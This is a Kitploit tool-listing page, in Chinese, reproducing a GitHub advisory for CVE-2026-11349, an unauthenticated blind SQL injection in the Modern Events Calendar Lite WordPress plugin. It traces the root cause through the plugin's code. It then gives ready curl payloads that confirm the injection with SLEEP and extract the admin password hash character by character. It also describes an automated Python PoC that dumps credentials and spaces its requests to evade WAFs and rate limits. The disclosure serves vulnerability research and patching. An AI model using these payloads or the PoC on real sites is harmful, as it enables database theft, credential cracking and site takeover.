Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — 未认证的SQL注入漏洞 | Kitploit
工具/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — 未认证的SQL注入漏洞

查看仓库
1133个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Modern Events Calendar Lite <= 7.33.0 — 未认证SQL注入(通过 mec_list_load_more 的 atts[include] / atts[exclude])

摘要

详细信息值
插件Modern Events Calendar Lite
别名modern-events-calendar-lite
作者Webnus
受影响版本<= 7.33.0(当前供应商分发的Lite版本)。该漏洞存在于整个post-w.org版本范围内;已在5.6.5和7.33.0上经实验室验证,在5.21.2上经静态代码确认。6.5.6 = 最后一个wordpress.org版本(在2022-05-11关闭时冻结);7.33.0 = 当前从mec.webnus.net分发的版本
活跃安装量自关闭后wordpress.org隐藏计数;历史上超过100,000。供应商仍在积极分发和更新(Lite版本通过mec.webnus.net分发;相同的7.x代码库也用于正在积极销售的MEC Pro)
CWECWE-89(SQL注入)
漏洞类型未认证的盲SQL注入(基于时间/布尔/报错)
所需权限无(wp_ajax_nopriv_* — 预认证)
用户交互无
CVSS v3.17.5(高危) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
状态在7.33.0(当前版本)和6.5.6(WordPress 6.6.5,MariaDB 10.x)上经端到端实验室验证
CVE / GHSACVE-2026-11349

描述

Modern Events Calendar Lite 注册了一系列未认证的 admin-ajax.php “加载更多”操作,用于其事件列表皮肤(list、grid、masonry、agenda、timeline、tile、custom)。每个处理程序读取攻击者控制的 atts 请求数组,通过一个名为 sanitize_deep_array() 的辅助函数处理 —— 当以默认参数调用时,该函数不执行任何清理 —— 然后将 atts['include'](和 atts['exclude'])的值原始地拼接进一个 post_id IN (...) SQL 片段中,并通过 $wpdb->get_results() 执行,且未使用 $wpdb->prepare()。

由于入口点注册在 wp_ajax_nopriv_* 上,不需要认证、账户、nonce 或用户交互。未认证的远程攻击者可以将任意 SQL 注入到针对 wp_mec_dates 表的 SELECT 语句的 WHERE 子句中,并通过盲时间/布尔/报错技术读取 WordPress 数据库中的任何数据(用户密码哈希、wp_options 秘密/密钥、其他插件的数据)。


根因

1. “清理器”在默认路径上未进行任何清理

app/libraries/main.php:9607:

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // 第9615行
        {
            $sanitized[$key] = $val;   // <-- 原始直通,无清理
            continue;
        }
        // ...(仅当 $excludes 非空时才到达 sanitize_text_field / (int) / esc_url / ...)
    }
    return $sanitized;
}

条件 (is_array($excludes) and !count($excludes)) 使得当 $excludes 为默认的空数组时,函数完全无操作 —— 每个值都被原样复制。意图显然是想“如果存在排除列表,则跳过这些键”;但布尔逻辑却导致在没有提供排除列表时跳过了所有内容。

2. 调用者未提供 $excludes

app/skins/list.php:499-501(load_more()):

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // 第501行

sanitize_deep_array($_REQUEST['atts']) 使用单个参数调用 → $excludes 默认为 array() → 上述无操作分支 → $atts 是原始、不受信任的 $_REQUEST['atts']。

3. 原始拼接进 IN (...) 子句

app/libraries/skins.php:

// 第603行(exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// 第606行(include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

数组元素直接通过 implode() 拼接到 SQL 字符串中,未进行整数转换或转义。(对每个元素使用 absint() / (int) 本可关闭此漏洞。)

4. 执行时未使用预编译语句

app/libraries/db.php:79:

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // 仅将 `#__` 替换为表前缀
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // 第87行 — 无 prepare()
    // ...
}

完整构建的字符串被直接传递给 $wpdb->get_results()。

污点流(请求 → 接收器):

$_REQUEST['atts']                                       (攻击者控制,未认证)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (无操作:默认空 $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = 原始 atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (无 prepare)

可达性

app/skins/list.php:51-52:

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- 未认证

nopriv 注册使得该端点在预认证状态下可达。相同的 load_more() 结构以及共享的 skins.php 查询构建器出现在其他皮肤中,每个皮肤都有自己的 wp_ajax_nopriv_* 动作,因此可以通过以下任何一个同样实现注入:

AJAX 动作(nopriv)皮肤处理程序
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

load_more() 中未检查 nonce,且该操作不要求页面上存在任何插件短代码 —— AJAX 处理程序在初始化时无条件注册。


概念验证(实验室验证,MEC Lite 6.5.6,WordPress 6.6.5,MariaDB 10.x)

所有请求均为未认证(无 cookie,无 nonce)。注入值位于 atts[include][] 中;载荷关闭了 IN ((...) AND (... IN ( 组的两个左括号,并附加一个顶层 OR <sleep>,以便对每个扫描行评估条件,然后注释掉尾部的 )) ORDER BY ...:

TARGET='https://victim.example'          # 普通链接:直接使用 admin-ajax.php

# 1) 基线(无注入)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) 基于时间的证明 —— 平衡的顶层 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) 被执行

# 3) 布尔预言(真 vs 假)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (真)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (假)

# 4) 真实数据提取(盲注),例如 admin 密码哈希的第一个字节等于 '$'(0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← 真:admin 哈希以 '$' 开头(phpass)

从 WP_DEBUG_LOG 捕获的针对错误金丝雀 atts[include][]=0)MEC_SQLI_CANARY 执行的确切查询为:

SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

—— 字面标记 MEC_SQLI_CANARY 原样出现在执行的语句中,证实了原始拼接。atts[exclude][] 参数(skins.php:803 / 603,NOT IN)同样可注入(实验室确认:atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)。相同的查询和注入在 7.33.0(当前构建)上复现 —— 相同的金丝雀,相同的 SLEEP 行为。

自动化 PoC

mec-unauth-sqli-poc.py(包含在内)完全独立且无需凭据:它确认注入(基线 vs. SLEEP),然后执行基于时间的盲提取任意数据(默认:@@version、数据库用户和第一个 admin 的 user_login:user_pass)。它验证每个响应(HTTP 200),并使用 --delay + 退避策略来规避 WAF/速率限制(例如 mod_evasive)。不修改任何数据(只读 SELECT 上下文)。

$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

影响

未认证、网络可达、对数据库的完整读取权限:wp_users 密码哈希、wp_options(auth_key、API 秘密、令牌)以及任何其他表。实际上,这可以连锁导致完全接管站点(离线哈希破解、秘密/会话窃取)。完整性影响有限 —— 注入通过 $wpdb->get_results() 在 SELECT 上下文中执行,不允许堆叠查询 —— 因此 I:N。大量 SLEEP/BENCHMARK 可能降低可用性,但主要、可靠演示的影响是机密性(C:H),因此 CVSS 为 7.5。


受影响文件

行号针对 7.33.0(当前)给出,括号内为 6.5.6;代码在整个范围内相同。

下载工具